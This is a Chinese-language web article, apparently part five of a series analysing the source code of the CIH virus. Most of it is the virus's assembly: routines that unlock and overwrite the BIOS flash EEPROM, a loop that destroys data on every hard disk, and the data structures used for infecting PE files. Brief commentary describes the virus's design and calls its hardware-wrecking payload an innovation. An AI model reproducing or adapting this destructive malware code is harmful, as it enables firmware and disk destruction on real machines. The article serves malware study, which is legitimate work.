Rumah  >  Artikel  >  pembangunan bahagian belakang  >  病毒程序源码实例剖析-CIH病毒[5]

病毒程序源码实例剖析-CIH病毒[5]

黄舟
黄舟asal
2017-01-17 11:21:471942semak imbas

病毒程序源码实例剖析-CIH病毒[5]

push ecx 
  loop $ 
  
  ;破坏BIOS中额外的000E0000 - 000E007F段的 ROM数据,共80h个字节 
  xor ah, ah 
  mov [eax], al 
  
  xchg ecx, eax 
  loop $ 
  
  ; 显示和激活BIOS的000E0000 - 000FFFFF段数据,共128 KB,该段可写入信息mov eax, 0f5555h 
  pop ecx 
  mov ch, 0aah 
  call ebx 
  mov byte ptr [eax], 20h 
  
  loop $ 
  
  ; 破坏BIOS的000FE000 - 000FE07F段数据,共80h字节 
  mov ah, 0e0h 
  mov [eax], al 
  
  ; 隐藏BIOS的000F0000 - 000FFFFF段,共64 KB 
  mov word ptr (BooleanCalculateCode-@10)[esi], 100ch 
  call esi 
  
  ; 破坏所有硬盘
  KillHardDisk: 
  xor ebx, ebx 
  mov bh, FirstKillHardDiskNumber 
  push ebx 
  sub esp, 2ch 
  push 0c0001000h 
  mov bh, 08h 
  push ebx 
  push ecx 
  push ecx 
  push ecx 
  push 40000501h 
  inc ecx 
  push ecx 
  push ecx 
  
  mov esi, esp 
  sub esp, 0ach 
  
  ;循环进行破坏
  LoopOfKillHardDisk: 
  int 20h 
  dd 00100004h 
  
  cmp word ptr [esi+06h], 0017h 
  je KillNextDataSection 
  
  ;换下一个硬盘
  ChangeNextHardDisk: 
  inc byte ptr [esi+4dh] 
  
  jmp LoopOfKillHardDisk 
  
  ;破坏下一个区域
  KillNextDataSection: 
  add dword ptr [esi+10h], ebx 
  mov byte ptr [esi+4dh], FirstKillHardDiskNumber 
  
  jmp LoopOfKillHardDisk 
  
  ;使EEPROM能够写入信息
  EnableEEPROMToWrite: 
  mov [eax], cl 
  mov [ecx], al 
  mov byte ptr [eax], 80h 
  mov [eax], cl 
  mov [ecx], al 
  
  ret 
  
  IOForEEPROM: 
  @10 = IOForEEPROM 
  
  xchg eax, edi 
  xchg edx, ebp 
  out dx, eax 
  
  xchg eax, edi 
  xchg edx, ebp 
  in al, dx 
  
  BooleanCalculateCode = $ 
  or al, 44h 
  
  xchg eax, edi 
  xchg edx, ebp 
  out dx, eax 
  
  xchg eax, edi 
  xchg edx, ebp 
  out dx, al 
  
  ret 
  
  ;静态数据定义
  LastVxdCallAddress = IFSMgr_Ring0_FileIO ;最后一个调用的Vxd指令地址 
  VxdCallAddressTable db 00h 
  db IFSMgr_RemoveFileSystemApiHook-_PageAllocate 
  db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook 
  db IFSMgr_Ring0_FileIO-UniToBCSPath ;各个Vxd调用指令地址之差 
  
  VxdCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h ;Vxd的调用号 
  VxdCallTableSize = ($-VxdCallIDTable)/04h ;程序中使用Vxd调用的个数 
  
  ;病毒版本和版权信息定义
  VirusVersionCopyright db 'CIH v' ;CIH病毒的标识 
  db MajorVirusVersion+'0' ;主版本号 
  db '.' 
  db MinorVirusVersion+'0' ;次版本号 
  db ' TATUNG' ;作者名字 
  
  ; 病毒大小
  VirusSize = $ + SizeOfVirusCodeSectionTableEndMark(04h) 
   + NumberOfSections*SizeOfVirusCodeSectionTable(08h) 
  + SizeOfTheFirstVirusCodeSectionTable(04h) 
  
  ;动态数据定义
  VirusGameDataStartAddress = VirusSize 
  @6 = VirusGameDataStartAddress ;病毒数据起始地址
  
  OnBusy db 0 ;“忙”标志 
  FileModificationTime dd ? ;文件修改时间 
  
  FileNameBuffer db FileNameBufferSize dup(?) ;7fh长的文件名缓冲区 
  @7 = FileNameBuffer 
  
  DataBuffer = $ 
  @8 = DataBuffer 
  NumberOfSections dw ? ; 块数目 
  TimeDateStamp dd ? ; 文件时间 
  SymbolsPointer dd ? 
  NumberOfSymbols dd ? ; 符号表中符号个数 
  SizeOfOptionalHeader dw ? ;可选文件头的长度 
  _Characteristics dw ? ;字符集标志 
  Magic dw ? ;标志字(总是010bh) 
  LinkerVersion dw ? ;连接器版本号 
  SizeOfCode dd ? ;代码段大小 
  SizeOfInitializedData dd ? ;已初始化数据块大小 
  SizeOfUninitializedData dd ? ;未初始化数据块大小 
  AddressOfEntryPoint dd ? ;程序起始RVA 
  BaseOfCode dd ? ;代码段起始RVA 
  BaseOfData dd ? ;数据段起始RVA 
  ImageBase dd ? ;装入基址RVA 
  
  @9 = $ 
  SectionAlignment dd ? ;块对齐 
  FileAlignment dd ? ;文件块对齐 
  OperatingSystemVersion dd ? ;所需操作系统版本号 
  ImageVersion dd ? ;用户自定义版本号 
  SubsystemVersion dd ? ;所需子系统版本号 
  Reserved dd ? ; 保留 
  SizeOfImage dd ? ; 文件各部分总长 
  SizeOfHeaders dd ? ;文件头大小 
  SizeOfImageHeaderToRead = $-NumberOfSections 
  NewAddressOfEntryPoint = DataBuffer 
  SizeOfImageHeaderToWrite = 04h 
  
  StartOfSectionTable = @9 
  SectionName = StartOfSectionTable ;块名 
  VirtualSize = StartOfSectionTable+08h ;段真实长度 
  VirtualAddress = StartOfSectionTable+0ch ;块的RVA 
  SizeOfRawData = StartOfSectionTable+10h ; 块物理长度 
  PointerToRawData = StartOfSectionTable+14h ; 块物理偏移 
  PointerToRelocations = StartOfSectionTable+18h ; 重定位的偏移 
  PointerToLineNumbers = StartOfSectionTable+1ch ; 行号表的偏移 
  NumberOfRelocations = StartOfSectionTable+20h ; 重定位项数目 
  NumberOfLinenNmbers = StartOfSectionTable+22h ; 行号表的数目 
  Characteristics = StartOfSectionTable+24h ; 块属性 
  SizeOfScetionTable = Characteristics+04h-SectionName ; 每块表项的长度 
  
  ;病毒所需要的内存数量
  VirusNeedBaseMemory = $ 
  VirusNeedBaseMemory = $ 
  
  VirusTotalNeedMemory = @9 
  ; + NumberOfSections(??)*SizeOfScetionTable(28h) 
  ; + SizeOfVirusCodeSectionTableEndMark(04h) 
  ; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) 
  ; + SizeOfTheFirstVirusCodeSectionTable(04h) 
  
  ;病毒程序结束
  VirusGame ENDS 
  END FileHeader
  从以上代码分析过程中,我们可以看出,CIH病毒结构清晰,层次分明。该病毒程序的主干结构与DOS病毒极其相似,只不过对病毒细节的处理都是按win95方法,全部系统调用都是采用Vxd。这样做使病毒程序更加底层、效率更高,也便于编程,与用Windows下的API函数相比,无须考虑病毒自身的复杂重定位过程;与使用中断相比,又更能防止对程序的跟踪分析。

  CIH病毒有两个创新,一是病毒感染时查找感染对象文件的各块之间的空白区域,把病毒自己的各种数据结构和代码写到其中(如果空白区域不够就不传染,这就是为什么有些文件不会被感染的原因之一);二是病毒发作时能破坏计算机硬件,不但要烧毁Flash Memory,还要毁坏硬盘。

  出于安全的缘故,有关病毒发作、破坏硬件的这部分代码,我们没有给出详细的分析。

以上就是病毒程序源码实例剖析-CIH病毒[5]的内容,更多相关内容请关注PHP中文网(www.php.cn)!


Kenyataan:
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn